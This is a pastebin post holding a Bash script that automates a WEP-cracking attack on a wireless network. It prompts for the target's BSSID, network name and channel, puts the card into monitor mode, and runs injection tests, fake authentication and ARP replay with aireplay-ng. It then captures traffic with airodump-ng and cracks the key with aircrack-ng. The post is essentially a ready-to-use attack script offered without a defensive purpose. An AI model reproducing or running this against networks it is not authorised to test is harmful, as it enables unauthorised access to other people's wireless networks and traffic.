pastebin - collaborative debugging tool
kpaste.net RSS


Aircrack Script
Posted by Phoenix on Sun 1st Aug 2010 01:27
raw | new post
view followups (newest first): Aircrack Script by Phoenix

  1. #!/bin/bash
  2.  
  3. # Variables: $iface, $BSSID, $ESSID, $chan, $MAC
  4.  
  5. echo "AirCrack WEP"
  6. echo
  7.  
  8. # ask for wifi interface
  9. echo "Available Interfaces:"
  10. ifconfig -l | tr ' ' '\n'
  11. echo
  12. while [[ -z $iface ]] || ! ifconfig $iface &>/dev/null; do
  13.         echo -n "Specify WiFi Interface (probably wlan0 or ath0) "
  14.         read iface
  15. done
  16.  
  17. echo
  18.  
  19. # get wifi card MAC address
  20. MAC=`ifconfig $iface | awk '/ether/{print$2}'`
  21.  
  22. # ask for basestation MAC address
  23. while [[ -z $BSSID ]] || [[ -z `echo $BSSID | grep -P [a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]` ]]; do
  24.         echo -n "Specify Basestation MAC Address "
  25.         read BSSID
  26. done
  27.  
  28. echo
  29.  
  30. # ask for network name
  31. while [ -z $ESSID ]; do
  32.         echo -n "Specify Wireless Network Name "
  33.         read ESSID
  34. done
  35.  
  36. echo
  37.  
  38. # ask for channel
  39. while [[ -z $chan ]] || [[ $chan -lt 1 ]] || [[ $chan -gt 14 ]]; do
  40.         echo -n "Specify Channel No. [1-14] "
  41.         read chan
  42. done
  43.  
  44. echo
  45.  
  46. # put card in monitor mode
  47. echo "Putting card in monitor mode..."
  48. for i in `seq 0 9`; do
  49.         airmon-ng stop mon$i &>/dev/null
  50. done
  51.  
  52. airmon-ng start $iface $chan
  53.  
  54. echo
  55.  
  56. # injection test
  57. aireplay-ng -9 -e $ESSID -a $BSSID mon0 &
  58. read -p "Was the injection test successful? [Y/n] "
  59. echo
  60. [[ $REPLY == n ]] && echo "AP is probably too far away, Exiting..." && exit
  61.  
  62. # capture packets
  63. REPLY=n
  64. while [[ $REPLY == "n" ]]; do
  65.         read -p  "Start Capturing Packets? [Y/n] "
  66. done
  67. xterm -e airodump-ng -c $chan --bssid $BSSID -w output mon0 &
  68.  
  69. echo
  70.  
  71. # fake auth
  72. REPLY=n
  73. while [[ $REPLY == n ]]; do
  74.         if [[ $picky != y ]]; then
  75.                 aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MAC mon0
  76.         else
  77.                 aireplay-ng -1 6000 -o 1 -q 10 -e $ESSID -a $BSSID -h $MAC mon0
  78.         fi
  79.         echo
  80.         read -p "Was fake authentication successful? [Y/n] "
  81.         echo
  82.         [[ $REPLY == n ]] && picky=y
  83. done
  84.  
  85. # listen for ARP
  86. xterm -e aireplay-ng -3 -b $BSSID -h $MAC mon0 &
  87.  
  88. # start aircrack
  89. read -p "Press [ENTER] when ready to start aircrack"
  90. xterm -e aircrack-ng -b $BSSID output*.cap &

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with {%HIGHLIGHT}





All content is user-submitted.
The administrators of this site (kpaste.net) are not responsible for their content.
Abuse reports should be emailed to us at